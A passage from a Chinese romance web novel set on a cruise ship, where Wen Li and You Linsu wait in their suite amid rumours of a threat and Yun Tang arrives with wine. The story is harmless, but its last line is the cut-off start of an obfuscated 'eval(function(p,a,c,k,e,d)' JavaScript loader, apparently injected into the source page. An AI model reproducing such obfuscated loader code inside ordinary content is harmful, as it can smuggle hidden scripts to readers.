了就动手吧。”
-
甲板上的人转移的进度非常缓慢,相较于靳啸文的提议,挤在一起更能让他们拥有安全感。
“怎么回事?不是说是谣言吗?”
“谁知道这是个什么情况啊?”
“网上不还说那人要报复靳家吗?不会牵连到我们吧?”
一群人你一句我一句,最后整齐划一地将目光投向游凛肃,想要从这个年纪轻轻就让人不可忽视的权贵身上得到些能够促使自己镇定的迹象。
只是游凛肃的神情是一如既往的令人难以捉摸。
没有任何表态,仅仅看温篱一眼。
温篱读懂他的意思,伸手挽住他。
服务员为他们引路:“游总,游太太,里面请。”
将哄乱的议论声抛至身后,被引领到邮轮最豪华的一间套房。
服务员识趣地退了出去,为他们带上了门。
环视了室内一圈,温篱问:“会是那天出现在画展的人吗?”
游凛肃说:“等等就知道了。”
他和温篱来到沙发处,随意地坐下。
茶几上摆放着新鲜的白色山茶花,花瓣上的水珠静静地匍匐在那里,一动不动。
就如此时此刻温篱的心一般,好像只要有游凛肃的存在,就分外安定。
海浪的声音不断地从窗外的阳台透进来。
忽略掉所在的场合,应该是很美妙的一个夜晚。
过了几分钟,有敲门传来。
温篱看了看游凛肃,起身去打开了门,来人是云棠,她叫人:“云夫人。”
云棠手中拿着酒:“不打扰你们吧?”
温篱说:“不会。”
云棠举了举手中的酒瓶:“来找你们喝酒,欢迎吗?”
温篱向她做了个“请进”的手势。
云棠不客气,直接走了进来,嘴上说着:“关禁闭呢,还一人一间,什么大风大浪的我没见识过。”
这间套房的阳台风景不错,迷离的夜色在远处斑斓灯光的点缀下透露出几分神秘,浪花随着邮轮驶向的地方漾出一长串的波光粼粼,澄碧的色彩搅动着,如同浮动在一起的碎玻璃。
;eval(function(p,a,c,k,e,d){e=function(c){return(c